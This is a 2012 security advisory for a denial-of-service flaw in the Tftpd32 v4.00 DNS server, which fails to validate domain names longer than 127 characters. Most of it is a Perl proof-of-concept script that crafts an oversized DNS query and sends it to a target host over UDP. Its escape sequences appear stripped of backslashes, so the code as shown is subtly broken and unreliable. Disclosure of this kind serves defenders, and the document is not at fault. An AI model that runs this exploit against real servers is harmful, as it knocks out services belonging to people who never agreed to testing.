Title: Tftpd32 DNS Server Denial Of Service Vulnerability
Software : Tftpd32

Software Version : v4.00

Vendor: http://tftpd32.jounin.net/ 

Vulnerability Published : 2012-05-26

Vulnerability Update Time :

Status : 

Impact : Medium(CVSS2 Base : 5.0, AV:N/AC:L/Au:N/C:N/I:N/A:P)

Bug Description :
Tftpd32 is a free tftp and dns server for windows, freeware tftp server.
And the dns server would bind udp port 53, but it does not validate the domain option size leading to a Denial Of Service flaw while sending more than 127 characters to it.

Solution :
The tftpd32's dns server can drop the evil request when it was detected the domain option size were longer than 127 characters.

Proof Of Concept :
-----------------------------------------------------------
#!/usr/bin/perl
use IO::Socket;
use Socket;
use Math::BigInt;
$|=1;
$host=shift;
$port=shift || '53';
die "usage: $0 $host [$port]n" if(!defined($host));
$target_ip = inet_aton($host);
$target = sockaddr_in($port, $target_ip);
$crash='A'x128;
$transaction_id_count=1;
sub dns_struct_pack($){
  $domain=shift;                  #domain
  $type="x00xff";               #dns_type = ANY
  $transaction_id_count=1 if($transaction_id_count > 255);
  $x=Math::BigInt->new($transaction_id_count);
  $x=~s/0x//;
  $transaction_id=sprintf("x00".chr($x));
  $flag="x01x00";
  $question="x00x01";
  $answer_rrs="x00x00";
  $authority_rrs="x00x00";
  $additional_rrs="x00x00";
  if($domain ne '0'){
    undef($domain_length);
    $domain_length=length($domain);
    $y=Math::BigInt->new($domain_length);
    $y=~s/0x//;
    $domain_length=chr($y);
  }
  $class="x00x01";                    #IN
  $transaction_id_count++;
  if($domain eq '0'){
    $packet_struct="$transaction_id"."$flag"."$question"."$answer_rrs"."$authority_rrs"."$additional_rrs"."x00"."$type"."$class";
  }else{
    $packet_struct="$transaction_id"."$flag"."$question"."$answer_rrs"."$authority_rrs"."$additional_rrs"."$domain_length"."$domain".
    "x00"."$type"."$class";
  }    
  return $packet_struct;
}
print "Launch attack ... ";
socket(SOCK1, AF_INET, SOCK_DGRAM, 17);
send(SOCK1, &dns_struct_pack($crash), 0, $target);
close(SOCK1);
print "Finish!n";
exit(0);
-----------------------------------------------------------

Credits : This vulnerability was discovered by demonalex(at)163(dot)com
mail: demonalex(at)163(dot)com / ChaoYi.Huang@connect.polyu.hk
Pentester/Researcher
Dark2S Security Team/PolyU.HK